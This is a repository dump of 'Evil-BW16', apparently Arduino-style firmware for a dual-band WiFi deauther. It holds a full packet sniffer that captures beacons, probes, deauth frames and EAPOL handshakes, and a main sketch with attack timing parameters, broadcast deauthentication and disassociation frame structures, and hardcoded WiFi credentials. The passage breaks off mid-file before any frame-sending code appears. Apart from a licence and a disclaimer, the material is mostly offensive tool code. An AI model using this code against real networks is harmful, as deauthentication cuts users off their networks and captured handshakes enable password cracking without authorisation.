├── Evil-BW16-sniffer-poc.ino ├── Evil-BW16-v1-0-2.ino ├── README.md └── github-img ├── README.md └── bw16.png /Evil-BW16-sniffer-poc.ino: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | extern "C" { 4 | #include "platform_stdlib.h" 5 | #include "wifi_conf.h" 6 | } 7 | 8 | // ========================= 9 | // 802.11 Header Structure 10 | // ========================= 11 | #pragma pack(push, 1) 12 | struct wifi_ieee80211_mac_hdr { 13 | uint16_t frame_control; 14 | uint16_t duration_id; 15 | uint8_t addr1[6]; 16 | uint8_t addr2[6]; 17 | uint8_t addr3[6]; 18 | uint16_t seq_ctrl; 19 | }; 20 | #pragma pack(pop) 21 | 22 | static inline uint8_t ieee80211_get_type(uint16_t fc) { 23 | return (fc & 0x0C) >> 2; 24 | } 25 | static inline uint8_t ieee80211_get_subtype(uint16_t fc) { 26 | return (fc & 0xF0) >> 4; 27 | } 28 | 29 | // ========================= 30 | // Utility Functions 31 | // ========================= 32 | 33 | // Prints a MAC address on the serial port, format XX:XX:XX:XX:XX:XX 34 | void printMac(const uint8_t *mac) { 35 | char buf[18]; // XX:XX:XX:XX:XX:XX + terminator 36 | snprintf(buf, sizeof(buf), "%02X:%02X:%02X:%02X:%02X:%02X", 37 | mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]); 38 | Serial.print(buf); 39 | } 40 | 41 | 42 | // Tries to extract the ESSID from a Beacon or Probe in the payload, 43 | // assuming a basic Management header (24 bytes) + 12 fixed bytes 44 | // => We usually start at offset 36 for the first tag. 45 | // WARNING: This method is simplified and may fail if other tags precede the SSID. 46 | String extractSSID(const uint8_t *frame, int totalLen) { 47 | // Minimal offset for the variable part (SSID tag) after a standard Beacon/Probe 48 | const int possibleOffset = 36; 49 | if (totalLen < possibleOffset + 2) { 50 | return ""; 51 | } 52 | 53 | // The first tag should be the SSID tag (ID = 0) 54 | // frame[possibleOffset] = tagNumber, frame[possibleOffset+1] = tagLength 55 | uint8_t tagNumber = frame[possibleOffset]; 56 | uint8_t tagLength = frame[possibleOffset + 1]; 57 | 58 | // If we have an SSID tag 59 | if (tagNumber == 0 && possibleOffset + 2 + tagLength <= totalLen) { 60 | // Build the string 61 | String essid; 62 | for (int i = 0; i < tagLength; i++) { 63 | char c = (char)frame[possibleOffset + 2 + i]; 64 | // Basic filter: only printable ASCII characters are shown 65 | if (c >= 32 && c <= 126) { 66 | essid += c; 67 | } 68 | } 69 | return essid; 70 | } 71 | // Not found / non-SSID tag 72 | return ""; 73 | } 74 | 75 | // Checks if the source MAC is "DE:AD:BE:EF:DE:AD" 76 | bool isPwnagotchiMac(const uint8_t *mac) { 77 | const uint8_t pwnMac[6] = {0xDE, 0xAD, 0xBE, 0xEF, 0xDE, 0xAD}; 78 | for (int i = 0; i < 6; i++) { 79 | if (mac[i] != pwnMac[i]) return false; 80 | } 81 | return true; 82 | } 83 | bool isEAPOL(const uint8_t *buf, int len) { 84 | // Check the minimum size: 85 | // 24 bytes for the MAC header, +8 for LLC/SNAP, +4 for a minimal EAPOL 86 | if (len < (24 + 8 + 4)) { 87 | return false; 88 | } 89 | 90 | // First case: "classic" frame (without QoS) 91 | // Check for the presence of the LLC/SNAP header indicating EAPOL (0x88, 0x8E) 92 | if (buf[24] == 0xAA && buf[25] == 0xAA && buf[26] == 0x03 && 93 | buf[27] == 0x00 && buf[28] == 0x00 && buf[29] == 0x00 && 94 | buf[30] == 0x88 && buf[31] == 0x8E) { 95 | return true; 96 | } 97 | 98 | // Second case: QoS frame (Frame Control field indicates a QoS data subtype) 99 | // We identify this if (buf[0] & 0x0F) == 0x08 (subtype = 1000b = 8) 100 | // In this case, the QoS header adds 2 extra bytes after the initial 24 bytes, 101 | // so the LLC/SNAP header starts at offset 24 + 2 = 26 102 | if ((buf[0] & 0x0F) == 0x08) { 103 | if (buf[26] == 0xAA && buf[27] == 0xAA && buf[28] == 0x03 && 104 | buf[29] == 0x00 && buf[30] == 0x00 && buf[31] == 0x00 && 105 | buf[32] == 0x88 && buf[33] == 0x8E) { 106 | return true; 107 | } 108 | } 109 | 110 | return false; 111 | } 112 | 113 | // Add these globals at the start of the file, after the includes 114 | enum SniffMode { 115 | SNIFF_ALL, 116 | SNIFF_BEACON, 117 | SNIFF_PROBE, 118 | SNIFF_DEAUTH, 119 | SNIFF_EAPOL, 120 | SNIFF_PWNAGOTCHI, 121 | SNIFF_STOP 122 | }; 123 | 124 | // Channel hopping configuration 125 | bool isHopping = false; 126 | unsigned long lastHopTime = 0; 127 | const unsigned long HOP_INTERVAL = 500; // 500ms between hops 128 | const int CHANNELS_2GHZ[] = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14}; 129 | const int CHANNELS_5GHZ[] = {36, 40, 44, 48, 52, 56, 60, 64, 100, 104, 108, 112, 116, 120, 124, 128, 132, 136, 140, 144, 149, 153, 157, 161, 165}; 130 | int currentChannelIndex = 0; 131 | int currentChannel = 36; // Default channel 132 | 133 | SniffMode currentMode = SNIFF_STOP; // Start in STOP mode 134 | bool isSniffing = false; // Global flag to track if sniffing is active 135 | 136 | // Add these after the other global variables 137 | const int MAX_CUSTOM_CHANNELS = 50; 138 | int customChannels[MAX_CUSTOM_CHANNELS]; 139 | int numCustomChannels = 0; 140 | bool useCustomChannels = false; 141 | 142 | // ========================= 143 | // Promiscuous Callback 144 | // ========================= 145 | void promisc_callback(unsigned char *buf, unsigned int len, void * /*userdata*/) { 146 | if (currentMode == SNIFF_STOP) return; 147 | 148 | // Checks the minimum size to contain the 802.11 header 149 | if (!buf || len < sizeof(wifi_ieee80211_mac_hdr)) { 150 | return; 151 | } 152 | 153 | // Interpret the header 154 | wifi_ieee80211_mac_hdr *hdr = (wifi_ieee80211_mac_hdr *)buf; 155 | uint16_t fc = hdr->frame_control; 156 | uint8_t ftype = ieee80211_get_type(fc); 157 | uint8_t fsubtype = ieee80211_get_subtype(fc); 158 | 159 | // Filter based on current mode 160 | if (currentMode != SNIFF_ALL) { 161 | if (currentMode == SNIFF_BEACON && !(ftype == 0 && fsubtype == 8)) return; 162 | if (currentMode == SNIFF_PROBE && !(ftype == 0 && (fsubtype == 4 || fsubtype == 5))) return; 163 | if (currentMode == SNIFF_DEAUTH && !(ftype == 0 && (fsubtype == 12 || fsubtype == 10))) return; 164 | if (currentMode == SNIFF_EAPOL && (ftype != 2 || !isEAPOL(buf, len))) return; 165 | if (currentMode == SNIFF_PWNAGOTCHI && !(ftype == 0 && fsubtype == 8 && isPwnagotchiMac(hdr->addr2))) return; 166 | } 167 | 168 | String output = ""; // Initialize an output string to store the results 169 | 170 | // ============ Management ============ 171 | if (ftype == 0) { 172 | // Beacon 173 | if (fsubtype == 8) { 174 | output += "[MGMT] Beacon detected "; 175 | // Source MAC => hdr->addr2 176 | output += "Source MAC: "; 177 | char macBuf[18]; 178 | snprintf(macBuf, sizeof(macBuf), "%02X:%02X:%02X:%02X:%02X:%02X", 179 | hdr->addr2[0], hdr->addr2[1], hdr->addr2[2], 180 | hdr->addr2[3], hdr->addr2[4], hdr->addr2[5]); 181 | output += macBuf; 182 | 183 | // Try to retrieve the ESSID 184 | const uint8_t *framePtr = (const uint8_t *)buf; 185 | String ssid = extractSSID(framePtr, len); 186 | if (ssid.length() > 0) { 187 | output += " SSID: " + ssid; 188 | // Check if it's a pwnagotchi (MAC DE:AD:BE:EF:DE:AD) 189 | if (isPwnagotchiMac(hdr->addr2)) { 190 | output += " Pwnagotchi Beacon!"; 191 | } 192 | } 193 | } 194 | // Deauth 195 | else if (fsubtype == 12 || fsubtype == 10) { 196 | output += "[MGMT] Deauth detected "; 197 | // Sender MAC => hdr->addr2, Receiver MAC => hdr->addr1 198 | char senderMac[18], receiverMac[18]; 199 | snprintf(senderMac, sizeof(senderMac), "%02X:%02X:%02X:%02X:%02X:%02X", 200 | hdr->addr2[0], hdr->addr2[1], hdr->addr2[2], 201 | hdr->addr2[3], hdr->addr2[4], hdr->addr2[5]); 202 | snprintf(receiverMac, sizeof(receiverMac), "%02X:%02X:%02X:%02X:%02X:%02X", 203 | hdr->addr1[0], hdr->addr1[1], hdr->addr1[2], 204 | hdr->addr1[3], hdr->addr1[4], hdr->addr1[5]); 205 | output += "Sender MAC: " + String(senderMac) + " Receiver MAC: " + String(receiverMac); 206 | if (len >= 26) { // 24-byte header + 2 bytes reason 207 | uint16_t reasonCode = (uint16_t)buf[24] | ((uint16_t)buf[25] << 8); 208 | output += " Reason code: " + String(reasonCode); 209 | } 210 | } 211 | // Probe Request 212 | else if (fsubtype == 4) { 213 | output += "[MGMT] Probe Request "; 214 | // Displays the source 215 | char sourceMac[18]; 216 | snprintf(sourceMac, sizeof(sourceMac), "%02X:%02X:%02X:%02X:%02X:%02X", 217 | hdr->addr2[0], hdr->addr2[1], hdr->addr2[2], 218 | hdr->addr2[3], hdr->addr2[4], hdr->addr2[5]); 219 | output += "Source MAC: " + String(sourceMac); 220 | 221 | // Try to retrieve the requested ESSID (often, it's an empty SSID for scanning) 222 | const uint8_t *framePtr = (const uint8_t *)buf; 223 | String ssid = extractSSID(framePtr, len); 224 | if (ssid.length() > 0) { 225 | output += " Probe SSID: " + ssid; 226 | } 227 | } 228 | // Probe Response 229 | else if (fsubtype == 5) { 230 | output += "[MGMT] Probe Response "; 231 | // Displays the source 232 | char sourceMac[18]; 233 | snprintf(sourceMac, sizeof(sourceMac), "%02X:%02X:%02X:%02X:%02X:%02X", 234 | hdr->addr2[0], hdr->addr2[1], hdr->addr2[2], 235 | hdr->addr2[3], hdr->addr2[4], hdr->addr2[5]); 236 | output += "Source MAC: " + String(sourceMac); 237 | 238 | // Try to retrieve the ESSID 239 | const uint8_t *framePtr = (const uint8_t *)buf; 240 | String ssid = extractSSID(framePtr, len); 241 | if (ssid.length() > 0) { 242 | output += " SSID: " + ssid; 243 | } 244 | } 245 | // Disassoc 246 | else if (fsubtype == 10) { 247 | output += "[MGMT] Disassoc detected "; 248 | // Sender MAC => hdr->addr2, Receiver MAC => hdr->addr1 249 | char senderMac[18], receiverMac[18]; 250 | snprintf(senderMac, sizeof(senderMac), "%02X:%02X:%02X:%02X:%02X:%02X", 251 | hdr->addr2[0], hdr->addr2[1], hdr->addr2[2], 252 | hdr->addr2[3], hdr->addr2[4], hdr->addr2[5]); 253 | snprintf(receiverMac, sizeof(receiverMac), "%02X:%02X:%02X:%02X:%02X:%02X", 254 | hdr->addr1[0], hdr->addr1[1], hdr->addr1[2], 255 | hdr->addr1[3], hdr->addr1[4], hdr->addr1[5]); 256 | output += "Sender MAC: " + String(senderMac) + " Receiver MAC: " + String(receiverMac); 257 | } 258 | else { 259 | output += "[MGMT] Other subtype = " + String(fsubtype); 260 | } 261 | } 262 | // ============ Control ============ 263 | else if (ftype == 1) { 264 | output += "[CTRL] Subtype = " + String(fsubtype); 265 | } 266 | // ============ Data ============ 267 | else if (ftype == 2) { 268 | // Try EAPOL detection 269 | if (isEAPOL(buf, len)) { 270 | output += "[DATA] EAPOL detected! "; 271 | // Display source and destination MAC 272 | char sourceMac[18], destMac[18]; 273 | snprintf(sourceMac, sizeof(sourceMac), "%02X:%02X:%02X:%02X:%02X:%02X", 274 | hdr->addr2[0], hdr->addr2[1], hdr->addr2[2], 275 | hdr->addr2[3], hdr->addr2[4], hdr->addr2[5]); 276 | snprintf(destMac, sizeof(destMac), "%02X:%02X:%02X:%02X:%02X:%02X", 277 | hdr->addr1[0], hdr->addr1[1], hdr->addr1[2], 278 | hdr->addr1[3], hdr->addr1[4], hdr->addr1[5]); 279 | output += "Source MAC: " + String(sourceMac) + " Destination MAC: " + String(destMac); 280 | } else { 281 | output += "[DATA] Other data frame."; 282 | } 283 | } 284 | // ============ Extension (rare) ============ 285 | else { 286 | output += "[EXT] Type = " + String(ftype); 287 | } 288 | 289 | // Print the output in a single line 290 | Serial.println(output); 291 | } 292 | 293 | 294 | void setup() { 295 | Serial.begin(115200); 296 | delay(1000); 297 | 298 | Serial.println("\n[INFO] WiFi Sniffer Commands:"); 299 | Serial.println("start - Start the sniffer in ALL mode"); 300 | Serial.println("sniff beacon - Start/Switch to beacon capture"); 301 | Serial.println("sniff probe - Start/Switch to probe requests/responses"); 302 | Serial.println("sniff deauth - Start/Switch to deauth/disassoc frames"); 303 | Serial.println("sniff eapol - Start/Switch to EAPOL frames"); 304 | Serial.println("sniff pwnagotchi- Start/Switch to Pwnagotchi beacons"); 305 | Serial.println("sniff all - Start/Switch to all frames"); 306 | Serial.println("stop - Stop sniffing"); 307 | Serial.println("hop on - Enable channel hopping"); 308 | Serial.println("hop off - Disable channel hopping"); 309 | Serial.println("set ch X - Set to specific channel X"); 310 | 311 | Serial.println("\n[INFO] Waiting for command to start..."); 312 | } 313 | 314 | void setChannel(int newChannel) { 315 | if (!isSniffing) { 316 | // Need to initialize WiFi first 317 | wifi_on(RTW_MODE_PROMISC); 318 | wifi_enter_promisc_mode(); 319 | } 320 | currentChannel = newChannel; 321 | wifi_set_channel(currentChannel); 322 | } 323 | 324 | void hopChannel() { 325 | if (isHopping && (millis() - lastHopTime >= HOP_INTERVAL)) { 326 | currentChannelIndex++; 327 | 328 | if (useCustomChannels) { 329 | if (currentChannelIndex >= numCustomChannels) { 330 | currentChannelIndex = 0; 331 | } 332 | currentChannel = customChannels[currentChannelIndex]; 333 | } else { 334 | if (currentChannelIndex >= sizeof(CHANNELS_2GHZ)/sizeof(CHANNELS_2GHZ[0])) { 335 | currentChannelIndex = 0; 336 | } 337 | currentChannel = CHANNELS_2GHZ[currentChannelIndex]; 338 | } 339 | 340 | setChannel(currentChannel); 341 | Serial.print("[HOP] Switched to channel "); 342 | Serial.println(currentChannel); 343 | lastHopTime = millis(); 344 | } 345 | } 346 | 347 | void startSniffing() { 348 | if (!isSniffing) { 349 | Serial.println("[INFO] Enabling promiscuous mode..."); 350 | 351 | // Initialize WiFi in PROMISC mode 352 | wifi_on(RTW_MODE_PROMISC); 353 | wifi_enter_promisc_mode(); 354 | setChannel(currentChannel); 355 | wifi_set_promisc(RTW_PROMISC_ENABLE_2, promisc_callback, 1); 356 | 357 | isSniffing = true; 358 | Serial.println("[INFO] Sniffer initialized and running."); 359 | } 360 | } 361 | 362 | void stopSniffing() { 363 | if (isSniffing) { 364 | wifi_set_promisc(RTW_PROMISC_DISABLE, NULL, 0); 365 | isSniffing = false; 366 | currentMode = SNIFF_STOP; 367 | Serial.println("[CMD] Sniffer stopped"); 368 | } 369 | } 370 | 371 | void processCommand(String command) { 372 | command.toLowerCase(); 373 | command.trim(); 374 | 375 | if (command == "start") { 376 | currentMode = SNIFF_ALL; 377 | startSniffing(); 378 | Serial.println("[CMD] Starting sniffer in ALL mode"); 379 | } 380 | else if (command == "hop on") { 381 | isHopping = true; 382 | if (!isSniffing) { 383 | wifi_on(RTW_MODE_PROMISC); 384 | wifi_enter_promisc_mode(); 385 | } 386 | Serial.println("[CMD] Channel hopping enabled"); 387 | } 388 | else if (command == "hop off") { 389 | isHopping = false; 390 | Serial.println("[CMD] Channel hopping disabled"); 391 | } 392 | else if (command.startsWith("set ch ")) { 393 | String chStr = command.substring(7); 394 | 395 | // Check if it's a comma-separated list 396 | if (chStr.indexOf(',') != -1) { 397 | // Reset custom channels 398 | numCustomChannels = 0; 399 | useCustomChannels = false; 400 | 401 | // Parse comma-separated channels 402 | while (chStr.length() > 0) { 403 | int commaIndex = chStr.indexOf(','); 404 | String channelStr; 405 | 406 | if (commaIndex == -1) { 407 | channelStr = chStr; 408 | chStr = ""; 409 | } else { 410 | channelStr = chStr.substring(0, commaIndex); 411 | chStr = chStr.substring(commaIndex + 1); 412 | } 413 | 414 | channelStr.trim(); 415 | int newChannel = channelStr.toInt(); 416 | 417 | // Validate channel 418 | bool validChannel = false; 419 | for (int ch : CHANNELS_2GHZ) { 420 | if (ch == newChannel) validChannel = true; 421 | } 422 | for (int ch : CHANNELS_5GHZ) { 423 | if (ch == newChannel) validChannel = true; 424 | } 425 | 426 | if (validChannel && numCustomChannels < MAX_CUSTOM_CHANNELS) { 427 | customChannels[numCustomChannels++] = newChannel; 428 | } 429 | } 430 | 431 | if (numCustomChannels > 0) { 432 | useCustomChannels = true; 433 | isHopping = true; 434 | currentChannelIndex = 0; 435 | currentChannel = customChannels[0]; 436 | setChannel(currentChannel); 437 | Serial.print("[CMD] Set custom channel sequence: "); 438 | for (int i = 0; i < numCustomChannels; i++) { 439 | Serial.print(customChannels[i]); 440 | if (i < numCustomChannels - 1) Serial.print(","); 441 | } 442 | Serial.println(); 443 | } 444 | } else { 445 | // Single channel setting (existing code) 446 | int newChannel = chStr.toInt(); 447 | bool validChannel = false; 448 | for (int ch : CHANNELS_2GHZ) { 449 | if (ch == newChannel) validChannel = true; 450 | } 451 | for (int ch : CHANNELS_5GHZ) { 452 | if (ch == newChannel) validChannel = true; 453 | } 454 | if (validChannel) { 455 | isHopping = false; 456 | useCustomChannels = false; 457 | setChannel(newChannel); 458 | Serial.print("[CMD] Set to channel "); 459 | Serial.println(currentChannel); 460 | } else { 461 | Serial.println("[ERROR] Invalid channel number"); 462 | } 463 | } 464 | } 465 | else if (command == "sniff beacon") { 466 | currentMode = SNIFF_BEACON; 467 | startSniffing(); 468 | Serial.println("[CMD] Switching to BEACON sniffing mode"); 469 | } 470 | else if (command == "sniff probe") { 471 | currentMode = SNIFF_PROBE; 472 | startSniffing(); 473 | Serial.println("[CMD] Switching to PROBE sniffing mode"); 474 | } 475 | else if (command == "sniff deauth") { 476 | currentMode = SNIFF_DEAUTH; 477 | startSniffing(); 478 | Serial.println("[CMD] Switching to DEAUTH sniffing mode"); 479 | } 480 | else if (command == "sniff eapol") { 481 | currentMode = SNIFF_EAPOL; 482 | startSniffing(); 483 | Serial.println("[CMD] Switching to EAPOL sniffing mode"); 484 | } 485 | else if (command == "sniff pwnagotchi") { 486 | currentMode = SNIFF_PWNAGOTCHI; 487 | startSniffing(); 488 | Serial.println("[CMD] Switching to PWNAGOTCHI sniffing mode"); 489 | } 490 | else if (command == "sniff all") { 491 | currentMode = SNIFF_ALL; 492 | startSniffing(); 493 | Serial.println("[CMD] Switching to ALL sniffing mode"); 494 | } 495 | else if (command == "stop") { 496 | stopSniffing(); 497 | } 498 | else { 499 | Serial.println("[ERROR] Unknown command"); 500 | } 501 | } 502 | 503 | void loop() { 504 | // Check for serial commands 505 | if (Serial.available()) { 506 | String command = Serial.readStringUntil('\n'); 507 | processCommand(command); 508 | } 509 | 510 | // Handle channel hopping if enabled 511 | if (isSniffing) { 512 | hopChannel(); 513 | } 514 | 515 | delay(100); 516 | } 517 | -------------------------------------------------------------------------------- /Evil-BW16-v1-0-2.ino: -------------------------------------------------------------------------------- 1 | /* 2 | Evil-BW16 - WiFi Dual band deauther 3 | 4 | Copyright (c) 2024 7h30th3r0n3 5 | 6 | Permission is hereby granted, free of charge, to any person obtaining a copy 7 | of this software and associated documentation files (the "Software"), to deal 8 | in the Software without restriction, including without limitation the rights 9 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 10 | copies of the Software, and to permit persons to whom the Software is 11 | furnished to do so, subject to the following conditions: 12 | 13 | The above copyright notice and this permission notice shall be included in all 14 | copies or substantial portions of the Software. 15 | 16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 19 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 21 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 22 | SOFTWARE. 23 | 24 | Disclaimer: 25 | This tool, Evil-BW16, is developed for educational and ethical testing purposes only. 26 | Any misuse or illegal use of this tool is strictly prohibited. The creator of Evil-BW16 27 | assumes no liability and is not responsible for any misuse or damage caused by this tool. 28 | Users are required to comply with all applicable laws and regulations in their jurisdiction 29 | regarding network testing and ethical hacking. 30 | */ 31 | 32 | #include 33 | #include 34 | #include "wifi_conf.h" 35 | #include "wifi_util.h" 36 | #include "wifi_structures.h" 37 | #include "WiFi.h" 38 | #include "platform_stdlib.h" 39 | 40 | //========================== 41 | // User Configuration 42 | //========================== 43 | #define WIFI_SSID "7h30th3r0n35Ghz" 44 | #define WIFI_PASS "5Ghz7h30th3r0n3Pass" 45 | #define WIFI_CHANNEL 1 46 | 47 | bool USE_LED = true; 48 | 49 | // Attack parameters 50 | unsigned long last_cycle = 0; 51 | unsigned long cycle_delay = 2000; // Delay between attack cycles (ms) 52 | unsigned long scan_time = 5000; // WiFi scan duration (ms) 53 | unsigned long num_send_frames = 3; 54 | int start_channel = 1; // 1 => 2.4GHz start, 36 => 5GHz only 55 | bool scan_between_cycles = false; // If true, scans between each attack cycle 56 | 57 | uint8_t dst_mac[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; // Broadcast 58 | 59 | enum SniffMode { 60 | SNIFF_ALL, 61 | SNIFF_BEACON, 62 | SNIFF_PROBE, 63 | SNIFF_DEAUTH, 64 | SNIFF_EAPOL, 65 | SNIFF_PWNAGOTCHI, 66 | SNIFF_STOP 67 | }; 68 | 69 | // Channel hopping configuration 70 | bool isHopping = false; 71 | unsigned long lastHopTime = 0; 72 | const unsigned long HOP_INTERVAL = 500; // 500ms between hops 73 | const int CHANNELS_2GHZ[] = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13}; 74 | const int CHANNELS_5GHZ[] = {36, 40, 44, 48, 52, 56, 60, 64, 100, 104, 108, 112, 116, 120, 124, 128, 132, 136, 140, 144, 149, 153, 157, 161, 165}; 75 | int currentChannelIndex = 0; 76 | int currentChannel = 36; // Default channel 77 | 78 | SniffMode currentMode = SNIFF_STOP; // Start in STOP mode 79 | bool isSniffing = false; // Global flag to track if sniffing is active 80 | 81 | // Add these after the other global variables 82 | const int MAX_CUSTOM_CHANNELS = 50; 83 | int customChannels[MAX_CUSTOM_CHANNELS]; 84 | int numCustomChannels = 0; 85 | bool useCustomChannels = false; 86 | 87 | //------------------- 88 | // Timed Attack 89 | //------------------- 90 | bool timedAttackEnabled = false; 91 | unsigned long attackStartTime = 0; 92 | unsigned long attackDuration = 10000; // default 10 seconds 93 | 94 | //========================================================== 95 | // Frame Structures 96 | //========================================================== 97 | typedef struct { 98 | uint16_t frame_control = 0xC0; // Deauth 99 | uint16_t duration = 0xFFFF; 100 | uint8_t destination[6]; 101 | uint8_t source[6]; 102 | uint8_t access_point[6]; 103 | const uint16_t sequence_number = 0; 104 | uint16_t reason = 0x06; 105 | } DeauthFrame; 106 | 107 | typedef struct { 108 | uint16_t frame_control = 0xA0; // Disassociation 109 | uint16_t duration = 0xFFFF; 110 | uint8_t destination[6]; 111 | uint8_t source[6]; 112 | uint8_t access_point[6]; 113 | const uint16_t sequence_number = 0; 114 | uint16_t reason = 0x08; 115 | } DisassocFrame; 116 | 117 | //========================================================== 118 | // Data Structures 119 | //========================================================== 120 | struct WiFiScanResult { 121 | bool selected = false; 122 | String ssid; 123 | String bssid_str; 124 | uint8_t bssid[6]; 125 | short rssi; 126 | uint channel; 127 | }; 128 | 129 | struct WiFiStationResult { 130 | bool selected = false; 131 | String mac_str; 132 | uint8_t mac[6]; 133 | short rssi; 134 | }; 135 | 136 | // ========================= 137 | // 802.11 Header Structure 138 | // ========================= 139 | #pragma pack(push, 1) 140 | struct wifi_ieee80211_mac_hdr { 141 | uint16_t frame_control; 142 | uint16_t duration_id; 143 | uint8_t addr1[6]; 144 | uint8_t addr2[6]; 145 | uint8_t addr3[6]; 146 | uint16_t seq_ctrl; 147 | }; 148 | #pragma pack(pop) 149 | 150 | static inline uint8_t ieee80211_get_type(uint16_t fc) { 151 | return (fc & 0x0C) >> 2; 152 | } 153 | static inline uint8_t ieee80211_get_subtype(uint16_t fc) { 154 | return (fc & 0xF0) >> 4; 155 | } 156 | 157 | 158 | 159 | // ========================= 160 | // Promiscuous Callback 161 | // ========================= 162 | void promisc_callback(unsigned char *buf, unsigned int len, void * /*userdata*/) { 163 | if (currentMode == SNIFF_STOP) return; 164 | 165 | // Checks the minimum size to contain the 802.11 header 166 | if (!buf || len < sizeof(wifi_ieee80211_mac_hdr)) { 167 | return; 168 | } 169 | 170 | // Interpret the header 171 | wifi_ieee80211_mac_hdr *hdr = (wifi_ieee80211_mac_hdr *)buf; 172 | uint16_t fc = hdr->frame_control; 173 | uint8_t ftype = ieee80211_get_type(fc); 174 | uint8_t fsubtype = ieee80211_get_subtype(fc); 175 | 176 | // Filter based on current mode 177 | if (currentMode != SNIFF_ALL) { 178 | if (currentMode == SNIFF_BEACON && !(ftype == 0 && fsubtype == 8)) return; 179 | if (currentMode == SNIFF_PROBE && !(ftype == 0 && (fsubtype == 4 || fsubtype == 5))) return; 180 | if (currentMode == SNIFF_DEAUTH && !(ftype == 0 && (fsubtype == 12 || fsubtype == 10))) return; 181 | if (currentMode == SNIFF_EAPOL && (ftype != 2 || !isEAPOL(buf, len))) return; 182 | if (currentMode == SNIFF_PWNAGOTCHI && !(ftype == 0 && fsubtype == 8 && isPwnagotchiMac(hdr->addr2))) return; 183 | } 184 | 185 | String output = ""; // Initialize an output string to store the results 186 | 187 | // ============ Management ============ 188 | if (ftype == 0) { 189 | // Beacon 190 | if (fsubtype == 8) { 191 | output += "[MGMT] Beacon detected "; 192 | // Source MAC => hdr->addr2 193 | output += "Source MAC: "; 194 | char macBuf[18]; 195 | snprintf(macBuf, sizeof(macBuf), "%02X:%02X:%02X:%02X:%02X:%02X", 196 | hdr->addr2[0], hdr->addr2[1], hdr->addr2[2], 197 | hdr->addr2[3], hdr->addr2[4], hdr->addr2[5]); 198 | output += macBuf; 199 | 200 | // Try to retrieve the ESSID 201 | const uint8_t *framePtr = (const uint8_t *)buf; 202 | String ssid = extractSSID(framePtr, len); 203 | if (ssid.length() > 0) { 204 | output += " SSID: " + ssid; 205 | // Check if it's a pwnagotchi (MAC DE:AD:BE:EF:DE:AD) 206 | if (isPwnagotchiMac(hdr->addr2)) { 207 | output += " Pwnagotchi Beacon!"; 208 | } 209 | } 210 | } 211 | // Deauth 212 | else if (fsubtype == 12 || fsubtype == 10) { 213 | output += "[MGMT] Deauth detected "; 214 | // Sender MAC => hdr->addr2, Receiver MAC => hdr->addr1 215 | char senderMac[18], receiverMac[18]; 216 | snprintf(senderMac, sizeof(senderMac), "%02X:%02X:%02X:%02X:%02X:%02X", 217 | hdr->addr2[0], hdr->addr2[1], hdr->addr2[2], 218 | hdr->addr2[3], hdr->addr2[4], hdr->addr2[5]); 219 | snprintf(receiverMac, sizeof(receiverMac), "%02X:%02X:%02X:%02X:%02X:%02X", 220 | hdr->addr1[0], hdr->addr1[1], hdr->addr1[2], 221 | hdr->addr1[3], hdr->addr1[4], hdr->addr1[5]); 222 | output += "Sender MAC: " + String(senderMac) + " Receiver MAC: " + String(receiverMac); 223 | if (len >= 26) { // 24-byte header + 2 bytes reason 224 | uint16_t reasonCode = (uint16_t)buf[24] | ((uint16_t)buf[25] << 8); 225 | output += " Reason code: " + String(reasonCode); 226 | } 227 | } 228 | // Probe Request 229 | else if (fsubtype == 4) { 230 | output += "[MGMT] Probe Request "; 231 | // Displays the source 232 | char sourceMac[18]; 233 | snprintf(sourceMac, sizeof(sourceMac), "%02X:%02X:%02X:%02X:%02X:%02X", 234 | hdr->addr2[0], hdr->addr2[1], hdr->addr2[2], 235 | hdr->addr2[3], hdr->addr2[4], hdr->addr2[5]); 236 | output += "Source MAC: " + String(sourceMac); 237 | 238 | // Try to retrieve the requested ESSID (often, it's an empty SSID for scanning) 239 | const uint8_t *framePtr = (const uint8_t *)buf; 240 | String ssid = extractSSID(framePtr, len); 241 | if (ssid.length() > 0) { 242 | output += " Probe SSID: " + ssid; 243 | } 244 | } 245 | // Probe Response 246 | else if (fsubtype == 5) { 247 | output += "[MGMT] Probe Response "; 248 | // Displays the source 249 | char sourceMac[18]; 250 | snprintf(sourceMac, sizeof(sourceMac), "%02X:%02X:%02X:%02X:%02X:%02X", 251 | hdr->addr2[0], hdr->addr2[1], hdr->addr2[2], 252 | hdr->addr2[3], hdr->addr2[4], hdr->addr2[5]); 253 | output += "Source MAC: " + String(sourceMac); 254 | 255 | // Try to retrieve the ESSID 256 | const uint8_t *framePtr = (const uint8_t *)buf; 257 | String ssid = extractSSID(framePtr, len); 258 | if (ssid.length() > 0) { 259 | output += " SSID: " + ssid; 260 | } 261 | } 262 | // Disassoc 263 | else if (fsubtype == 10) { 264 | output += "[MGMT] Disassoc detected "; 265 | // Sender MAC => hdr->addr2, Receiver MAC => hdr->addr1 266 | char senderMac[18], receiverMac[18]; 267 | snprintf(senderMac, sizeof(senderMac), "%02X:%02X:%02X:%02X:%02X:%02X", 268 | hdr->addr2[0], hdr->addr2[1], hdr->addr2[2], 269 | hdr->addr2[3], hdr->addr2[4], hdr->addr2[5]); 270 | snprintf(receiverMac, sizeof(receiverMac), "%02X:%02X:%02X:%02X:%02X:%02X", 271 | hdr->addr1[0], hdr->addr1[1], hdr->addr1[2], 272 | hdr->addr1[3], hdr->addr1[4], hdr->addr1[5]); 273 | output += "Sender MAC: " + String(senderMac) + " Receiver MAC: " + String(receiverMac); 274 | } 275 | else { 276 | output += "[MGMT] Other subtype = " + String(fsubtype); 277 | } 278 | } 279 | // ============ Control ============ 280 | else if (ftype == 1) { 281 | output += "[CTRL] Subtype = " + String(fsubtype); 282 | } 283 | // ============ Data ============ 